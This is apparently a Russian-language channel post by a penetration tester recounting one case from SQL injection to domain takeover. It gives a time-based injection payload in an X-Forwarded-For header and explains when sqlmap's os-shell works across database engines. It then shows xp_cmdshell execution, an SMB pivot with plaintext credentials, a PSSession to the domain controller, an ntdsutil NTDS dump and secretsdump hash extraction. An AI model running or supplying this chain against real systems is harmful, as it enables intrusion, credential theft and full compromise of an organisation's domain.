2.2Kпросмотров
12 сентября 2025 г.
📷 ФотоScore: 2.4K
Из интересных и лёгких кейсов в последнее время:
SQL-инъекция → MSSQL → AD takeover Шаг 1. sql injection в x-forwarded-for
GET /portal HTTP/1.1
Host: target.local
X-Forwarded-For: 1' IF(1=1, SLEEP(5), 0)--
Слипнулось на 5 секунд - збс. Получаем субд и смотрим пользователя от которого запущена субд.
Пользователь: svc_webapp@domain Шаг 2. sqlmap os-shell
Немного теории, чтобы работал os-shell звёзды должны сойтись так, чтобы на уязвимом сервере был примерно такой стэк:
1. База поддерживает вызов системных команд
MSSQL → через xp_cmdshell, sp_oacreate, CLR-ассамблеи.
MySQL/MariaDB → при включённых FILE/PROCESS правах и доступе к sys_exec()/udf.
PostgreSQL → через COPY TO PROGRAM, lo_export(), pg_execute_server_program() и пр.
Oracle → через DBMS_SCHEDULER, DBMS_PIPE, UTL_HTTP, JAVA. 2. Учётка в базе имеет достаточные права
В MSSQL нужен хотя бы sysadmin, иначе xp_cmdshell может быть недоступен.
В PostgreSQL нужен суперпользователь.
В MySQL права SUPER или FILE. 3. Веб-приложение действительно исполняет команды на том же сервере
Если база на отдельном хосте (DB-only сервер без оболочки), то максимум получится писать файлы, но не RCE. Когда не работает --os-shell: 1. Если у учётки в БД нет прав (например, только db_datareader в MSSQL).
2. Если функции для системных вызовов отключены админом (xp_cmdshell выключен по умолчанию в новых MSSQL).
3. Если база стоит на отдельном хосте, и даже при xp_cmdshell ты попадаешь в среду без нужных утилит (например, только SQL Service без интерактивного шелла).
4. Если WAF/фильтры блокируют полезные нагрузки.
5. Если sqlmap видит SQLi, но она read-only (например, только SELECT без возможности UNION/INSERT/UPDATE).
Шаг 3. Выполняем системные команды:
EXEC xp_cmdshell 'whoami /all';
ответ:
domain\svc_webapp
Privileges : SeBackupPrivilege, SeServiceLogonRight
Шаг 4. Пивот во внутрянку:
net use \\fileserver\deploy$ /user:domain\svc_webapp P@ssword! $User = "DOMAIN\deploy_admin"
$Pass = ConvertTo-SecureString "Qwerty123!" -AsPlainText -Force
net use — подключение сетевого ресурса (файловой шары SMB). \\fileserver\deploy$ — скрытая административная шара. Такие папки не отображаются при обычном просмотре сети, но доступны, если знаешь точный путь. /user:domain\svc_webapp P@ssword! — аутентификация от имени сервисной учётки, креды которой мы получили через SQL-инъекцию (или из базы). Шаг 5. Интеррактивный доступ:
Собираем интерактивный сеанс на сервере:
Enter-PSSession -ComputerName dc01.domain.local -Credential domain\deploy_admin
Попадаем на домен контроллер (дк)
Шаг 6. NTDS
На ДК выполняем:
ntdsutil "ac i ntds" "ifm" "create full c:\temp\dump" q q
7. Берём хэшики
secretsdump.py -ntds ntds.dit -system system.bak LOCAL
Все NTLM-хэши пользователей домена в кармане. Итог:
Из одной SQL-инъекции в заголовке:
1. доступ к MSSQL
2. выполнение команд через xp_cmdshell,
3. нахождение сервисных кредов,
4. интерактивный доступ к DC,
5. дамп NTDS и полный контроль домена.